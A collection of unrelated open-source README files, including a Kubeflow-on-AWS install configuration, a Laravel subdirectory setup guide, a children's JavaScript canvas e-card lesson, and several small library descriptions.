      - kustomizeConfig:
          overlays:
          - istio
          - application
          repoRef:
            name: manifests
            path: common/centraldashboard
        name: centraldashboard
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: admission-webhook/webhook
        name: webhook
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: webhookNamePrefix
            value: admission-webhook-
          repoRef:
            name: manifests
            path: admission-webhook/bootstrap
        name: bootstrap
      - kustomizeConfig:
          overlays:
          - istio
          - application
          parameters:
          - name: userid-header
            value: kubeflow-userid
          repoRef:
            name: manifests
            path: jupyter/jupyter-web-app
        name: jupyter-web-app
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: spark/spark-operator
        name: spark-operator
      - kustomizeConfig:
          overlays:
          - istio
          - application
          - db
          repoRef:
            name: manifests
            path: metadata
        name: metadata
      - kustomizeConfig:
          overlays:
          - istio
          - application
          repoRef:
            name: manifests
            path: jupyter/notebook-controller
        name: notebook-controller
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pytorch-job/pytorch-job-crds
        name: pytorch-job-crds
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pytorch-job/pytorch-operator
        name: pytorch-operator
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: namespace
            value: knative-serving
          repoRef:
            name: manifests
            path: knative/knative-serving-crds
        name: knative-crds
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: namespace
            value: knative-serving
          repoRef:
            name: manifests
            path: knative/knative-serving-install
        name: knative-install
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: kfserving/kfserving-crds
        name: kfserving-crds
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: kfserving/kfserving-install
        name: kfserving-install
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: usageId
            value: <randomly-generated-id>
          - name: reportUsage
            value: 'true'
          repoRef:
            name: manifests
            path: common/spartakus
        name: spartakus
      - kustomizeConfig:
          overlays:
          - istio
          repoRef:
            name: manifests
            path: tensorboard
        name: tensorboard
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: tf-training/tf-job-crds
        name: tf-job-crds
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: tf-training/tf-job-operator
        name: tf-job-operator
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: katib/katib-crds
        name: katib-crds
      - kustomizeConfig:
          overlays:
          - application
          - istio
          repoRef:
            name: manifests
            path: katib/katib-controller
        name: katib-controller
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/api-service
        name: api-service
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: minioPvcName
            value: minio-pv-claim
          repoRef:
            name: manifests
            path: pipeline/minio
        name: minio
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: mysqlPvcName
            value: mysql-pv-claim
          repoRef:
            name: manifests
            path: pipeline/mysql
        name: mysql
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/persistent-agent
        name: persistent-agent
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/pipelines-runner
        name: pipelines-runner
      - kustomizeConfig:
          overlays:
          - istio
          - application
          repoRef:
            name: manifests
            path: pipeline/pipelines-ui
        name: pipelines-ui
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/pipelines-viewer
        name: pipelines-viewer
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/scheduledworkflow
        name: scheduledworkflow
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: pipeline/pipeline-visualization-service
        name: pipeline-visualization-service
      - kustomizeConfig:
          overlays:
          - application
          - istio
          repoRef:
            name: manifests
            path: profiles
        name: profiles
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: seldon/seldon-core-operator
        name: seldon-core
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: mpi-job/mpi-operator
        name: mpi-operator
      - kustomizeConfig:
          overlays:
          - application
          parameters:
          - name: clusterName
            value: eks-kubeflow
          repoRef:
            name: manifests
            path: aws/aws-alb-ingress-controller
        name: aws-alb-ingress-controller
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: aws/nvidia-device-plugin
        name: nvidia-device-plugin
      plugins:
      - kind: KfAwsPlugin
        metadata:
          name: aws
        spec:
          auth:
            basicAuth:
              password:
                name: password
              username: admin
          region: <REGION>
          enablePodIamPolicy: true
          #roles:
          #- eksctl-kubeflow-aws-nodegroup-ng-a2-NodeInstanceRole-xxxxxxx
      repos:
      - name: manifests
        uri: https://github.com/kubeflow/manifests/archive/v1.0.2.tar.gz
      version: v1.0.2

Finally, run:

    kfctl apply -V -f ${CONFIG_FILE}

Verify the installation status by running:

    kubectl -n kubeflow get all

Installing Kubeflow and its toolset may take 2 - 3 minutes. A few pods may initially give `Error` or `CrashLoopBackOff` status. Eventually they will auto-heal and come to a `Running` state.

## Install SageMaker logs plugin

Download the binary and install it.  On Linux:

    wget https://amazon-sagemaker-operator-for-k8s-us-east-1.s3.amazonaws.com/kubectl-smlogs-plugin/v1/linux.amd64.tar.gz
    tar zxf linux.amd64.tar.gz
    sudo cp ./kubectl-smlogs.linux.amd64/kubectl-smlogs /usr/local/bin

On Mac:

    wget https://amazon-sagemaker-operator-for-k8s-us-east-1.s3.amazonaws.com/kubectl-smlogs-plugin/v1/darwin.amd64.tar.gz
    tar zxf darwin.amd64.tar.gz
    sudo cp ./kubectl-smlogs.darwin.amd64/kubectl-smlogs /usr/local/bin


text:
progression_stage_model
=======================

This code is an implementation of Finding Progression Stages in Time-evolving Event Sequences(WWW '14).
Original paper is http://dl.acm.org/citation.cfm?id=2568044.

## How to Use

```
python progression_stage_model.py
```

## Files
- sample-id-event.csv: "id" and "event name" list.
- sample-user-eventId.csv: event history for each user.
- makeSampleUserEventIdFile.py: make sample-user-eventId.csv automatically.
- progression_stage_model.py: paper implementation.


text:
Pattern: Negative pointer check

Issue: -

## Description

A pointer cannot be negative so it is either pointless or an error to check if it is not.

## Further Reading

* [Common Weakness Enumeration (CWE) - 570](https://cwe.mitre.org/data/definitions/570.html)

repository: Adroiti/docs-for-code-review-tools

repo_name: Adroiti/docs-for-code-review-tools


text:
# Voicemeeter Connector

Voicemeeter Connector is a Node.js (Typescript) connector to use the official VoicemeeterRemoteAPI of [Voicemeeter](https://www.vb-audio.com/Voicemeeter/index.htm),[Voicemeeter Banana](https://www.vb-audio.com/Voicemeeter/banana.htm) and [Voicemeeter Potato](https://www.vb-audio.com/Voicemeeter/potato.htm). The official API is available [here](https://download.vb-audio.com/Download_CABLE/VoicemeeterRemoteAPI.pdf).

## Installation

| Package Version | Node Version |
| --------------- | ------------ |
| <= 0.62         | 8,10         |
| >= 1.0          | 10 - 15      |

Execute the following command in a power shell window (Administrator).

`$ npm install --global --production windows-build-tools`

**Do not be surprised, the installation can take up to 15 minutes**

Now you can use the following to add the connector to your project.

`$ npm install voicemeeter-connector`

## Use it in your project

### Basic Example

```typescript
import { Voicemeeter, StripProperties } from "voicemeeter-connector";

Voicemeeter.init().then(async (vm) => {
	// Connect to your voicemeeter client
	vm.connect();

	// Sets gain of strip 0 to -10db
	await vm.setStripParameter(0, StripProperties.Gain, -10);

	// Print gain
	console.log(vm.getStripParameter(0, StripProperties.Gain));

	// Attach event handler
	vm.attachChangeEvent(() => {
		console.log("Something changed!");
	});

	// Disconnect voicemeeter client
	setTimeout(() => {
		vm.disconnect();
		process.exit(0);
	}, 5000);
});
```

**Strip** = Inputs (left side of voicemeeter)

**Bus** = Outputs (right side of voicemeeter)

## Documetation

See Documentation on https://chewbaccacookie.github.io/voicemeeter-connector/classes/voicemeeter.html

repository: ChewbaccaCookie/voicemeeter-connector

repo_name: ChewbaccaCookie/voicemeeter-connector


text:
---
title: Lesson 2
permalink: lesson2.html
layout: post
---
#### Three little words with text...

You may have noticed that we've created two Javascript functions in [Lesson 1]({% post_url 2015-02-01-lesson1 %}), `init` and `draw`.  The first is the "initial" or beginning function - it contains all the code to start drawing the eCard.  The second function defines what to draw in the `<canvas>` element.  Let's add some code to write a message in the canvas.

We'll put our message in a variable.  Think of a variable as a bucket - it can hold something and move it around our code, we can look into the bucket to see what's in it, and it doesn't change unless we add to it or take out.

Add this line before the `init()` function to create the variable `myMessage` to hold our message.

```javascript
    var myMessage = "Happy Valentine's Day";
```

Next, in the `draw()` function add these lines at the end:

```javascript
        context.font = "40px Times New Roman";
        context.fillStyle = "rgba(255,30,30,0)";
        context.textAlign = "center";
        context.fillText(myMessage, 300, 200);
```

:eyes: (:warning: Remember to refresh!) That's starting to look more like a Valentine's card, but it's not gonna win any hearts.  Let's add a little more pizzaz and make the message wait before it appears.

:cherries: Change the message's font, color, and size. Hints:
  - px --> pixels,
  - rgba --> **R**ed, **G**reen, **B**lue, **A**lpha("see-through").

:cherries: :cherries: Bonus: change the position to the top right.

As we did with `myMessage`, we'll add a new variable called `counter` and have the `<canvas>` use it to decide when to write the message.  Let's have the message display after counter is greater than 100:

```javascript
    var myMessage = "Happy Valentine's Day";
    var counter = 0;

    function init() {
        var canvas = document.getElementById("greetings");
        if (canvas.getContext){
            var context = canvas.getContext('2d');
            setInterval(function() {draw(context)}, 10);
        } else {
            // canvas-unsupported code here
            alert("Sorry, I can't display the card");
        }
    }

    function draw(context) {
        var lingrad = context.createLinearGradient(0,0,0,400);
        lingrad.addColorStop(0, '#f57a86');
        lingrad.addColorStop(1, '#ffffff');
        context.fillStyle = lingrad;
        context.fillRect (0, 0, 600, 400);
        // Write our message
        counter = counter + 1;
        if (counter > 100) {
            context.font = "40px Times New Roman";
            context.fillStyle = "rgba(255,30,30,0)";
            context.textAlign = "center";
            context.fillText(myMessage, 300, 200);
        }
    }

    $(document).ready(function() {
        init();
    });
```

The one thing that may throw you for a loop is the `setInterval()` call in the `init()` function.  For every open window in a browser, you can have a Javascript function run every X milliseconds using `setInterval()`.  For more information, Google it.  _I dare you._

:eyes: Huh... not really giving us that 'love vibe' with our message popping up out of nowhere.  It has a desperate, clingy, "Love-me-NOW!!!" feel to it.  Let's soften that up by having the message fade in...

```javascript
    var myMessage = "Happy Valentine's Day";
    var counter = 0;
    var alpha = 0;

    function init() {
        var canvas = document.getElementById("greetings");
        if (canvas.getContext){
            var context = canvas.getContext('2d');
            setInterval(function() {draw(context)}, 10);
        } else {
            // canvas-unsupported code here
            alert("Sorry, I can't display the card");
        }
    }

    function draw(context) {
        var lingrad = context.createLinearGradient(0,0,0,400);
        lingrad.addColorStop(0, '#f57a86');
        lingrad.addColorStop(1, '#ffffff');
        context.fillStyle = lingrad;
        context.fillRect (0, 0, 600, 400);
        // Write our message
        counter = counter + 1;
        if (counter > 100) {
            if (alpha < 100) alpha = alpha + 1;
            opacity = alpha / 100;
            context.font = "40px Times New Roman";
            context.fillStyle = "rgba(255,30,30," + opacity + "0)";
            context.textAlign = "center";
            context.fillText(myMessage, 300, 200);
        }
    }

    $(document).ready(function() {
        init();
    });
```

:eyes: Aw, that's smooth.  Barry White would be proud...

Now that we've set the mood, we'll add some sizzle in [Lesson 3]({% post_url 2015-02-01-lesson3 %}).

repository: CoderDojo-IowaCity/ecard-sushi

repo_name: CoderDojo-IowaCity/ecard-sushi


text:
# Configure Laravel to work in a SubDirectory and with artisan serve at the same time

When you use Laravel to work with shared hosting, one of the main problems is that you can not configure a host directly to the public folder.

## Requirements

  - Laravel 5.7+

### Our scenario is the same:

**Development environment:**

Use the base Laravel configuration with no change, in this way you can use artisan serve or valet to serve your app.

```root@localmachine:~# php artisan serve```

**Production environment:**

Add the fix showed below to allow Laravel to work on a subdirectory, usually served by Apache installation.

## Let's started, redirect all the request!
First of all, create a .htaccess file in root folder of your Laravel app, this file will redirect all request to the public folder of your app, this comes out of the box if you use valet or artisan serve.

```
<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteRule ^(.*)$ public/$1 [L]
</IfModule>
```

Now, if you try to access your app in a subfolder:

```http://localhost/laravel_subdir```

All works fine, but if you use asset or mix function, they will return a wrong path, for example:

```asset('css/app.css')```

will return:

```http://localhost/css/app.css```

This because the asset and mix functions use baseRoot to build a path, this is right using valet or artisan serve, but wrong with apache. Our goals it's to write one code that works in both environments.

## Here the trick!
Add **APP_DIR** environment variable to your **.env file**, containing the subdirectory where Laravel is installed into, like showed below:

```
APP_NAME=Laravel
APP_ENV=local
APP_DIR = "laravel_subdir"
APP_KEY=base64:56qPq0000qqQv3yAo000NmCH83yEUS6nFRb8Fj0/PyI=
APP_DEBUG=true
APP_URL=http://localhost/laravel_subdir
```

Then create a Helper Provider to define our custom functions, create a file HelperServiceProvider.php inside Providers directory, with the following code:

```php
<?php
namespace App\Providers;
use Illuminate\Support\ServiceProvider;
class HelperServiceProvider extends ServiceProvider{
/**
* Bootstrap services.
*
* @return void
*/
public function boot(){
}
/**
* Register services.
*
* @return void
*/
public function register(){
  foreach (glob(app_path() . '/Helpers/*.php') as $file) {
    require_once($file);
  }
}
}
```

Then, at the level of App directory, add Helpers directory, and inside it, create a file SubdirectoryAssetsHelper.php, with the following code:

```php
<?php
if (! function_exists('subdirAsset')) {
function subdirAsset($path){
return asset( (App::environment('production') ? env('APP_DIR') : '')."/".$path);
}
}
if (! function_exists('subdirMix')) {
function subdirMix($path){
return mix( (App::environment('production') ? env('APP_DIR') : '')."/".$path);
}
}
```

Now register the provider by adding this line to config/app.php file:

```App\Providers\HelperServiceProvider::class,```

Now edit the function mapWebRoutes of file RouteServiceProvider.php, like showed below:

```php
/**
     * Define the "web" routes for the application.
     *
     * These routes all receive session state, CSRF protection, etc.
     *
     * @return void
     */
    protected function mapWebRoutes()
    {

        Route::prefix(App::environment('production') ? env('APP_DIR') : '')
            ->middleware('web')
             ->namespace($this->namespace)
             ->group(base_path('routes/web.php'));
    }
```

And import App class in top of file:

```use App;```

That's all, now you can use function subdirAsset instead of asset and subdirMix instead of mix inside your blade files.

## Switch environment
If you are using valet or artisan serve, keep your APP_ENV variable to "local":

```APP_ENV = local```

If you are in a production environment of shared hosting, use:

```APP_ENV = production```

## Credits & License
InAppNotify is owned and maintained by [Luca Becchetti](http://www.lucabecchetti.com)

As open source creation any help is welcome!

The code of this library is licensed under MIT License; you can use it in commercial products without any limitation.

The only requirement is to add a line in your Credits/About section with the text below:

```
In app notification by InAppNotify - http://www.lucabecchetti.com
Created by Becchetti Luca and licensed under MIT License.
```
## About me

I am a professional programmer with a background in software design and development, currently developing my qualitative skills on a startup company named "[Frind](https://www.frind.it) " as Project Manager and ios senior software engineer.

I'm high skilled in Software Design (10+ years of experience), i have been worked since i was young as webmaster, and i'm a senior Php developer. In the last years i have been worked hard with mobile application programming, Swift for ios world, and Java for Android world.

I'm an expert mobile developer and architect with several years of experience of team managing, design and development on all the major mobile platforms: iOS, Android (3+ years of experience).

I'm also has broad experience on Web design and development both on client and server side and API /Networking design.

All my last works are hosted on AWS Amazon cloud, i'm able to configure a netowrk, with Unix servers. For my last works i configured apache2, ssl, ejabberd in cluster mode, Api servers with load balancer, and more.

I live in Assisi (Perugia), a small town in Italy, for any question, [contact<EMAIL_ADDRESS>

gha_language: PHP


text:
# docker-dev-base
Docker base image for development containers.

Provides the following dependencies:
* Spark installation (at $SPARK_HOME)
* spark-streaming-kafka jar (at root)

Public Builds
---

https://hub.docker.com/r/scaledaction/docker-dev-base/

Build from Source
---

    docker build -t scaledaction/docker-dev-base docker/

repository: scaledaction/docker-dev-base

repo_name: scaledaction/docker-dev-base


text:
# Better JSON

![npm](https://img.shields.io/npm/v/better-json)
![GitHub top language](https://img.shields.io/github/languages/top/aspiesoft/better-json)
![NPM](https://img.shields.io/npm/l/better-json)

![npm](https://img.shields.io/npm/dw/better-json)
![npm](https://img.shields.io/npm/dm/better-json)

[![paypal](https://img.shields.io/badge/buy%20me%20a%20coffee-paypal-blue)](https://buymeacoffee.aspiesoft.com)

Simply better json with comments and auto normalization.
You can either use it as a new object, or override the default JSON object.

- comments are removed from strings
- quotes are added where needed automatically
- single quotes are corrected to double, when needed
- types are auto corrected ('1' becomes 1)
- trailing commas are removed
- crash resistance (runs in a try catch block, and returns null on error)

## Installation

```shell script
npm install @aspiesoft/better-json
```

## Setup

```js
const json = require('@aspiesoft/better-json');

// or to override the JSON object
require('@aspiesoft/better-json')();
```

## Usage

```js
json.parse(`
{
    option1: string,
    //option2: true, /* commented out */
    option3: true,
}
`);
// expected output: {option1: 'string', option3: true}

json.stringify({test: 2, unwantedFunction: function(){}});
// expected output: {"test": 2}
```

repository: The-Actual-Damien/better-json

repo_name: The-Actual-Damien/better-json